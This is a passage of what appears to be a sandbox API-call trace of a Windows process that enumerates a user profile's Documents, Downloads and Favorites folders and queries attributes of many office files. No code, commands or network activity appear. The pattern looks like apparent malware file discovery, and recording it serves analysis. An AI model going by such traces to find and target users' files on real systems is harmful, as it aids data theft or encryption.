[0162.628] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\bx_hg08 qccc73wa.pptx")) returned 0x20 [0162.628] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\da4yt5-_hxx-4.xlsx")) returned 0x20 [0162.629] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0162.629] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx", nBufferLength=0x30, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx", lpFilePart=0x0) returned 0x2f [0162.629] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\da4yt5-_hxx-4.xlsx")) returned 0x20 [0162.630] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\hiqydv.pptx")) returned 0x20 [0162.630] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0162.630] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx", lpFilePart=0x0) returned 0x28 [0162.630] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\hiqydv.pptx")) returned 0x20 [0162.631] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\hqwa.pptx")) returned 0x20 [0162.631] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x27 [0162.631] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx", nBufferLength=0x27, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx", lpFilePart=0x0) returned 0x26 [0162.631] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hQwa.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\hqwa.pptx")) returned 0x20 [0162.632] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\klxyk2vrts2_ylshyl.xlsx")) returned 0x20 [0162.632] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0162.632] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx", nBufferLength=0x35, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx", lpFilePart=0x0) returned 0x34 [0162.633] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\kLxyk2vrts2_ylshyl.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\klxyk2vrts2_ylshyl.xlsx")) returned 0x20 [0162.633] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\kzkisarpnjyn.xlsx")) returned 0x20 [0162.633] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0162.633] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx", lpFilePart=0x0) returned 0x2e [0162.633] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\kzkisarpnjyn.xlsx")) returned 0x20 [0162.634] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\p9eqvmm.pptx")) returned 0x20 [0162.634] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0162.634] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx", lpFilePart=0x0) returned 0x29 [0162.635] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\p9eqvmm.pptx")) returned 0x20 [0162.635] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\qdt8j-_xcq 65llcpzig.pptx")) returned 0x20 [0162.635] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0162.635] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx", lpFilePart=0x0) returned 0x36 [0162.636] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\qdt8j-_xcq 65llcpzig.pptx")) returned 0x20 [0162.636] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\tboltobf6oytadvf.xls")) returned 0x20 [0162.636] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0162.636] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls", lpFilePart=0x0) returned 0x31 [0162.637] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\tboltobf6oytadvf.xls")) returned 0x20 [0162.637] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\tcbu3ashpzfcr2r8ck o.docx")) returned 0x20 [0162.638] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0162.638] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx", lpFilePart=0x0) returned 0x36 [0162.638] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\tcbu3ashpzfcr2r8ck o.docx")) returned 0x20 [0162.638] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\uywqtslk mi.docx")) returned 0x20 [0162.639] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0162.639] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx", lpFilePart=0x0) returned 0x2d [0162.639] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\uywqtslk mi.docx")) returned 0x20 [0162.640] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\V3DYlPpf2GJNJe8cy.odt" (normalized: "c:\\users\\keecfmwgj\\documents\\v3dylppf2gjnje8cy.odt")) returned 0x20 [0162.640] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\wG1fdnel S3Rpj.ods" (normalized: "c:\\users\\keecfmwgj\\documents\\wg1fdnel s3rpj.ods")) returned 0x20 [0162.640] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\yl14c.docx")) returned 0x20 [0162.640] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0162.640] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx", nBufferLength=0x28, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx", lpFilePart=0x0) returned 0x27 [0162.641] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\yl14c.docx")) returned 0x20 [0162.641] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\zm9nla-npd71l4thren.xls")) returned 0x20 [0162.641] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0162.641] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls", nBufferLength=0x35, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls", lpFilePart=0x0) returned 0x34 [0162.642] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\zm9nla-npd71l4thren.xls")) returned 0x20 [0162.642] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\zvu_x.xlsx")) returned 0x20 [0162.642] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0162.642] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx", nBufferLength=0x28, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx", lpFilePart=0x0) returned 0x27 [0162.643] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\zvu_x.xlsx")) returned 0x20 [0162.643] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Downloads" (normalized: "c:\\users\\keecfmwgj\\downloads")) returned 0x11 [0162.644] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Downloads" (normalized: "c:\\users\\keecfmwgj\\downloads")) returned 0x11 [0162.644] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Downloads", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0162.644] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Downloads", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Downloads", lpFilePart=0x0) returned 0x1c [0162.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb90) returned 1 [0162.644] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Downloads", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0162.644] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Downloads", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Downloads", lpFilePart=0x0) returned 0x1c [0162.644] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Downloads\\*" (normalized: "c:\\users\\keecfmwgj\\downloads\\*"), lpFindFileData=0x5a2e940 | out: lpFindFileData=0x5a2e940*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e833eb0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f68 [0162.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb90) returned 1 [0162.645] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Downloads", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0162.645] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Downloads", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Downloads", lpFilePart=0x0) returned 0x1c [0162.645] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Downloads\\*" (normalized: "c:\\users\\keecfmwgj\\downloads\\*"), lpFindFileData=0x5a2e940 | out: lpFindFileData=0x5a2e940*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e833eb0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f28 [0162.645] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e833eb0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.645] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8365c0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0162.646] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8365c0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0162.646] FindClose (in: hFindFile=0x3b4f68 | out: hFindFile=0x3b4f68) returned 1 [0162.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e94c) returned 1 [0162.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ebac) returned 1 [0162.646] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e833eb0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.646] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8365c0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0162.646] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0162.646] FindClose (in: hFindFile=0x3b4f28 | out: hFindFile=0x3b4f28) returned 1 [0162.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e94c) returned 1 [0162.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ebac) returned 1 [0162.647] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Favorites" (normalized: "c:\\users\\keecfmwgj\\favorites")) returned 0x11 [0162.647] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Favorites" (normalized: "c:\\users\\keecfmwgj\\favorites")) returned 0x11 [0162.647] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0162.647] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Favorites", lpFilePart=0x0) returned 0x1c [0162.647] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb90) returned 1 [0162.647] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0162.647] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Favorites", lpFilePart=0x0) returned 0x1c [0162.648] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\*" (normalized: "c:\\users\\keecfmwgj\\favorites\\*"), lpFindFileData=0x5a2e940 | out: lpFindFileData=0x5a2e940*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7fbc40, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f28 [0162.648] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb90) returned 1 [0162.648] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0162.648] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Favorites", lpFilePart=0x0) returned 0x1c [0162.648] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\*" (normalized: "c:\\users\\keecfmwgj\\favorites\\*"), lpFindFileData=0x5a2e940 | out: lpFindFileData=0x5a2e940*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7fbc40, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f68 [0162.649] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7fbc40, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.649] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7fe350, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0162.649] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x4d32fba0, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0162.649] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0162.649] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ac2b90, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0162.650] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79992090, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0162.650] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0162.650] FindClose (in: hFindFile=0x3b4f28 | out: hFindFile=0x3b4f28) returned 1 [0162.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e94c) returned 1 [0162.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ebac) returned 1 [0162.650] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: 